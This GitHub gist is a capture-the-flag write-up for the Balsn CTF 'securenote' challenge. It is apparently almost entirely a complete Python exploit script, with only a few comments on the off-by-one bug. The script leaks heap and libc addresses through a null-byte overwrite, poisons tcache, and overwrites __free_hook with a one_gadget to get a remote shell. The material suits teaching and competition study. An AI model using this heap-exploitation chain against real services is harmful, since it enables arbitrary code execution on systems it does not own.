Skip to content

Instantly share code, notes, and snippets.

@Mipu94
Created October 8, 2019 08:21
Show Gist options
  • Save Mipu94/8db7474bf7069b33c1cc7c4685431c21 to your computer and use it in GitHub Desktop.
Save Mipu94/8db7474bf7069b33c1cc7c4685431c21 to your computer and use it in GitHub Desktop.
writeup securenote - Balsn CTF
# solves: 0 - 1000 pts
# bug: strcpy(dest, s) -> off byte one.
# the content of notes were xor-ed with AES-hashes: MEM = content ^ hashes
# show function will print out: contents = MEM ^ hashes
# if MEM = 0x00 => leak hashes
# the idea is overwrite last null byte then use show function to leak hashes.
# in my solution, I try to set IV[0](counter[0]) to constant value X(heap + 0x280) then leak hashes of this IV[0]=X and turn back to IV[0]=X several times.
import time
import socket
from struct import pack,unpack
import telnetlib
global s,bit
def p64(m):
return pack("<Q", m)
def u64(m):
return unpack("<Q", m)[0]
def sock(HOST, PORT,bits,debug=True):
global s,bit
bit=bits
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( (HOST, PORT) )
if debug: print "[+] Connected to server"
return s
def telnet():
t = telnetlib.Telnet()
t.sock = s
t.interact()
def send(m, debug = False):
s.sendall(m)
def recvu(str,debug=0, substr = ""):
recv=''
tm = time.time()
while not str in recv:
if substr != "":
if substr in recv:
return recv
if time.time() - tm > 100:
print "timeout"
return recv
tmp = s.recv(4096)
recv += tmp
if debug:
print repr(tmp)
continue
return recv
def add(idx, msg):
send("0\n")
recvu("idx [0 ~ 3]:")
send(str(idx))
recvu("Content:")
send(msg)
recvu("idx [0 ~ 3]:")
def delete(idx):
send("2\n")
recvu("idx [0 ~ 3]:")
send(str(idx))
recvu("idx [0 ~ 3]:")
def show(idx):
send("1\n")
recvu("idx [0 ~ 3]:")
send(str(idx))
data = recvu("idx [0 ~ 3]:")
k = data.find(".-----------------------.")
data = data[0:k]
return data
def get_update(hashes):
data = show(0)
new_rounds = process_info(data)
l = 0
info = []
if len(hashes) < len(new_rounds):
l = len(hashes)
else:
l = len(new_rounds)
for i in range(l):
info.append(hashes[i] ^ new_rounds[i])
return info
def print_info(rounds):
k = 0
data = ""
num = ""
for i in rounds:
data += '{0:016x}'.format(i)+"\n"
print data
def xor_hash(hashes, key):
input = ""
for i in range(len(key)):
input += p64(hashes[i] ^ key[i])
return input
def process_info(data):
rounds = []
while data:
num = data[:8].ljust(8, '\x00')
rounds.append(u64(num))
data = data[8:]
return rounds
def call_exit():
print "EXIT"
doexploit()
def doexploit():
# sock("localhost",4000,64)
sock("securenote.balsnctf.com",5454,64)
recvu("idx [0 ~ 3]:")
add(0,"A"*0x18) # 0, 1
add(1,"\x0a") # 2 -> overwrite nullbyte
data = show(0)
hashes = process_info(data)
hashes[3] = hashes[3]^0x21
while True:
add(2,"\x0a")
info = get_update(hashes)
if len(info)> 11:
break
delete(2)
print "small length: ", len(info) ,"->", "try again!"
call_exit()
hashes[7] = (info[11]+0x20)^hashes[7]
info = get_update(hashes)
delete(1)
delete(2)
info = get_update(hashes)
heap = info[8] - 0x2a0
print "heap:", hex(heap)
add(2,"\x0a")
add(1,"\x0a")
add(3,"\x0a")
info = get_update(hashes)
tmp_len = 0
while True:
# try to overwrite chunksize to a bigger one.
delete(1)
add(1,"A"*0x18)
info = get_update(hashes)
if len(info) < 12:
continue
print "finding: ", hex(info[7]), "len:", hex(len(info))
if (info[7]&0xf == 1) & (info[7] > 0xc0):
tmp_len = info[7]
break
print "Found new size: ",hex(tmp_len)
delete(1)
delete(3)
delete(2)
pay = "A"*0x20 + ((tmp_len&0xf8)-0x20-8)*"\x00"
add(2,pay)
info = get_update(hashes)
# print_info(info)
print "go find round2"
while True:
# try overwrite last byte to 0x60 -> point back to IV[0]
info = get_update(hashes)
if len(info) > 13:
value = info[12]&0xff
print "Finding: ", hex(value)
if value == 0x60:
print "Found 0x60"
break
else:
print "small len:", len(info)
delete(2)
add(2,pay)
delete(2)
add(1,"\x0a") # -> header was corrupted
add(2,"\x0a") # -> point to IV[0]
info = get_update(hashes)
print_info(info)
chunk_xxx = info[12]
print hex(chunk_xxx)
delete(0) #heap+0x280
delete(2) #heap+0x260 -> heap+0x280 ; IV[0] = heap+0x280
add(0, "\x00") # -> used IV[0] = 0x55aa97056280
# leak hashes; IV[0] = 0x55aa97056280
data = show(0)
hashes = process_info(data)
if len(hashes) < 20 :
print "SMALL HASH:", len(hashes)
call_exit()
else:
print "len new hashes:", len(hashes)
hashes[3] ^= 0x21
hashes[7] ^= 0x21
hashes[11] ^= tmp_len
hashes[16] ^= chunk_xxx
add(2,"\x00"*0x47)
add(3,"\x00"*0x27)
delete(3)
delete(2)
# extend heap for free big chunk later
add(2, "\x00"*0x310)
delete(2)
# end extend heap for free big chunk later
add(2,"\x00"*0x47)
add(3,"\x00"*0x47)
delete(3)
delete(2)
add(2,"\x00"*0x27)
add(3,"\x00"*0x27)
delete(3)
delete(2)
# create linked list
delete(0) # reset IV[0] -> heap + 0x280
key = [ 0x0,0x0, #1
0x0, 0x441, #2 -> set to big size then free=> leak libc
0, 0, #3
0, 0x51, #4
heap+0x280,0,#5
0, 0, #6
0, 0, #7
0xc1c1c1, 0, #8
0, 0x31, #9
heap+0x280,0 #10
]
pay = xor_hash(hashes,key)
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00"
add(0, pay)
add(3, "\x00"*0x50)
delete(3)
add(2,'\x00'*0x48) # 0x55aa97056300
add(3,'\x00'*0x48) # 0x55aa97056280
delete(2)
delete(1) # -> free big chunk -> leak libc
data = show(0)
info = process_info(data)
libc_leak = info[4]
print_info(info)
delete(0)
add(0,'\x0a') # 0x55aa97056260
add(1,'\x00'*0x28) # 0x55aa97056350
add(2,'\x00'*0x28) # 0x55aa97056280
delete(2)
delete(0) #0x55aa97056260 -> 0x55aa97056280 ; IV[0] = 0x55aa97056280
delete(1)
add(0, '\x00'*0x28) # 0x55aa97056350; IV[0]= 0x55aa97056280
pay = "A"*0x90
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00"
print len(pay)
add(1, pay)# overwrite nullbyte
#---> get full hashes
data = show(0)
hashes = process_info(data)
print "LEN HAHSES:",len(hashes)
libc = (hashes[4]^libc_leak) - 0x3ebca0
if len(hashes) < 23:
call_exit()
free_hook = libc + 0x3ed8e8
one_gadget = libc+ 0x4f322
print "Libc:", hex(libc)
print "free_hook:",hex(free_hook)
delete(1)
add(2,"\x00")
delete(3)#heap+0x280
delete(2)#heap+0x260
key = [ 0,0, #1
0,0, #2
0,0, #3
0,0x31, #4
free_hook-0x18,0,#5
0,0, #6
0,0, #7
0,0, #8
0,0, #9
0,0, #10
0,0, #11
0,0x41, #12 -> size heap+0x380
heap+0x280, #13
]
pay = xor_hash(hashes,key)
pay += ((tmp_len&0xf8)-len(pay)-8)*"\x00"
print hex(tmp_len), hex(len(pay))
add(1, pay)
delete(1)
add(1,"\x00"*0x318) #heap+0x380
add(2,"\x00"*0x318) #heap+0x280
delete(1)
add(3,"\x00"*0x48)
add(1,"\x00") #heap+0x260
delete(2)
delete(1) #tcache[0]: 0x55aa97056260 -> 0x55aa97056280 ; IV[0] = 0x55aa97056280
key = [one_gadget,one_gadget,one_gadget,one_gadget]
pay = xor_hash(hashes,key)
pay = pay+ (0x48-len(pay))*"\x00"
add(2,pay)
send("2\n")
recvu("idx [0 ~ 3]:")
send("3\n")
print "SHELL >>"
send("ls\n")
telnet()
doexploit()
#Balsn{l1bc_1s_ToO_P0w3rfUl}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment